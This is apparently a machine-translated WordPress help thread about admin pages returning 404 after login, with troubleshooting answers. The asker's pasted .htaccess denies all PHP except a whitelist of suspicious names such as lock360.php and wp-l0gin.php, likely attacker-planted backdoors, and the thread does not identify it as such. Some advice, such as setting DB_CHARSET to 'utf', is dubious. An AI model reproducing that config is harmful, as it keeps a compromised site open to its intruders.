Perla Negra
Después de iniciar sesión correctamente, no puedo acceder a ninguna página (no puedo crear una nueva publicación, no puedo editar la publicación, no puedo crear una página, no puedo acceder a ninguna página en la barra lateral izquierda) en el panel de administración, todos muestran el error 404. he comprobado el .htaccess
pero esta bien No puedo acceder a la página de enlace permanente porque mostrará el error 404.
Todo esto funcionaba hasta que traté de acceder ayer.
.htaccess expediente
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch
"^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php|wp-l0gin.php|wp-theme.php|wp-scripts.php|wp-editor.php)$">
Order allow,deny
Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
@BlackPearl Intenté comunicarme varias veces y ayudarlo a depurar su sitio web, pero no respondió. Iba a ayudarlo a evitar pasar por el “enfoque de escopeta” y probar todas las combinaciones posibles que encuentre en línea o que la gente le arroje.
De todos modos, hablando por experiencia, esto generalmente sucedería debido a una razón principal, y esa es temas obsoletos y/o complementos obsoletos. Los temas y complementos obsoletos perderían su compatibilidad con las versiones más nuevas de wordpress con el tiempo y causarían todo tipo de errores desagradables. A veces esto sucede porque los servidores y las empresas de alojamiento migran a una versión más nueva de PHP que no es compatible con las funcionalidades de complementos y temas obsoletos.
Habiendo dicho eso, intentaría hacer los siguientes pasos para depurarlo:
- Lo primero que intentaría es cambiar de tema. Cambiaría mi tema actual a uno de los temas predeterminados de wordpress.
- En tus
wp-config.php
intenta cambiar tu"DB_CHARSET"
a sólo “utf”. - A veces, los archivos se corrompen por alguna razón, así que intente ver si el
index.php
El archivo ubicado en la carpeta raíz del núcleo de WordPress tiene el contenido adecuado. No el que está en la carpeta raíz de tu tema, el otro que está ubicado en el mismo directorio que elwp-admin
se encuentra la carpeta. - Intenta borrar tu caché de WordPress. Si está utilizando uno de los complementos de almacenamiento en caché en su sitio, borre el caché de su complemento.
- Vea si hay espacios adicionales en la parte superior y/o en la parte inferior de su
functions.php
expediente. Si es así, elimine esos espacios adicionales. - Intente aumentar su límite de memoria, especialmente si su sitio de wordpress utiliza complementos relacionados con gráficos/imágenes.
- En tus
wp-config.php
archivo, define (‘WP_MEMORY_LIMIT’, ‘256M’);
- En tus
-
Agregaré: intente deshabilitar todos los complementos (y cambiar de tema). Luego, si funciona, active los complementos uno por uno y active su tema. Tal vez puedas encontrar si este lío proviene de un complemento o tema
– Pof
7 sep 2021 a las 8:59
Veo que estás negando archivos php. Si tiene un complemento que está sobrescribiendo su archivo htaccess, desactívelo. O edite el archivo htaccess actual y cambie
<FilesMatch ".(py|exe|php)$">
Order allow,deny
Deny from all
</FilesMatch>
a
<FilesMatch ".(py|exe)$">
Order allow,deny
Deny from all
</FilesMatch>
Si aún no puede acceder a su sitio web, reemplace el htaccess actual con uno predeterminado para realizar pruebas.
# BEGIN WordPress
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
-
Gracias por tu respuesta. Lo intenté pero sigo recibiendo el error.
– Perla Negra
1 de septiembre de 2021 a las 9:08
-
¿Su htaccess se sobrescribe nuevamente cuando lo abre? Si es probablemente algún complemento y es posible que desee deshabilitarlo. La forma más fácil de deshabilitar un complemento es cambiar el nombre del complemento antes de volver a cargar su sitio web y luego volver a poner el mismo nombre. O cambie el nombre de la carpeta de complementos para deshabilitar todos los complementos, vuelva a cargar su sitio web y luego cambie el nombre de la carpeta a complementos. Es posible que desee activar la depuración – wordpress.org/support/article/debugging-in-wordpress . Comparte tu registro
– Martín Mirchev
2 de septiembre de 2021 a las 12:35
Asegúrese de que su /wp-admin/
la carpeta no contiene ningún archivo .htaccess
Eliminar, si hay alguno.
Si el problema persiste…
Asegúrate que mod_rewrite
está habilitado
¿Cómo verificar si mod_rewrite está habilitado en el servidor?
Habilite el mod, reinicie apache.
Si el problema persiste…
Compruebe si .htaccess está permitido en la configuración de Apache
Ve a buscar tu configuración de Apache
Asegúrate que AllowOverride
directiva se establece en All
y dentro <Directory /var/www/your/dir/where/wp/is>
:
Recuerde reiniciar Apache.
Si el problema persiste…
Eliminar .htaccess y restablecer enlaces permanentes
Ir /wp-login.php
e inicie sesión.
Configuración -> Enlaces permanentes -> Guardar. (WP volverá a crear automáticamente su .htaccess).
Si no puede acceder a la página de enlaces permanentes, hágalo mediante programación, agregue el fragmento a functions.php
:
add_action( 'init', function () {
flush_rewrite_rules( true );
}, 99 );
Actualizar la página… Ahora se vuelve a crear su .httacces. Eliminar el código de functions.php
.
si el problema persiste…
Prueba a deshabilitar los complementos.
Cambiar el nombre de la carpeta wp-content/plugins
a _plugins
por ejemplo.
Recarga la página. Ahora sus complementos están desactivados.
Si el problema desaparece, habilite los complementos 1 por 1 hasta que el problema vuelva a ocurrir. Así es como encuentra el complemento defectuoso.
-
Gracias hombre. Asegúrese de que su carpeta /wp-admin/ no contenga ningún archivo .htaccess Elimine, si hay alguno. Tuve que borrar el archivo .htaccess para que funcionara
–Obot Ernest
25 de mayo a las 12:03
Creo que te han hackeado. Verifique el archivo de configuración, debe tener algún código incomprensible que interrumpe la ejecución de php. Restaure su base de datos o al menos verifíquela. comprobar cuántos usuarios tiene. ¿Tienes algún usuario como administrador? Intente iniciar sesión con ese usuario. Revisa tus archivos. Intente restaurar desde la copia de seguridad. Verifique la configuración de sus archivos Unix, es posible que algunos archivos necesiten permiso de ejecución.
Deshabilitaría todos los complementos cambiando el nombre de sus carpetas usando ftp (o ssh). De esa manera, puede descartar que los complementos sean un problema. Si eso soluciona el problema, vuelva a activar los complementos uno por uno hasta que se rompa. Luego, si publica el nombre de ese complemento, usted (nosotros) puede mirar a través de su código y ver qué está pasando.
Decano amo de casa
Dentro de su panel de control de administrador, vaya a Herramientas -> Estado del sitio. Busque problemas allí que puedan indicar cuál es el problema.
A veces, por ejemplo, verá que la API REST tiene un error. Esto sucede cuando un complemento o tema tiene un código incorrecto que interrumpe la respuesta adecuada para una llamada a la API. Esto rompe la edición de cosas como Páginas/Publicaciones/otros tipos de publicaciones personalizadas.
Para resolverlo, intente deshabilitar todos sus temas. Una forma rápida de hacer esto para SFTP en su servidor y cambiar el nombre del wp-content/plugins
directorio a algo como plugins-renamed
. Luego vuelva a cargar cualquier página de administración. Luego cámbiele el nombre. Todos sus complementos se deshabilitarán y podrá volver a habilitarlos uno a la vez, mientras revisa la página Estado del sitio para ver si el problema regresa.
También intente activar un tema diferente para ver si eso lo soluciona.
david proctosaurio
Actualice su versión de php a la última versión y volverá a la vida. WordPress puede fallar cuando no está utilizando la versión compatible de PHP.
Habilite la depuración y vea qué está causando el problema.
– mk22
29 de agosto de 2021 a las 23:56
Echa un vistazo aquí wordpress.org/support/article/debugging-in-wordpress
– mk22
29 de agosto de 2021 a las 23:56
No se mostró nada, solo el error 404 normal incluso después de habilitar la depuración
– Perla Negra
30 de agosto de 2021 a las 0:14
¿Código postal de su archivo .htaccess?
– mk22
30 de agosto de 2021 a las 0:21
donde ves el
404
¿error? ¿En la consola de tu navegador? ¿Podría incluir el mensaje de error completo en su pregunta?– Ruvee
1 de septiembre de 2021 a las 7:50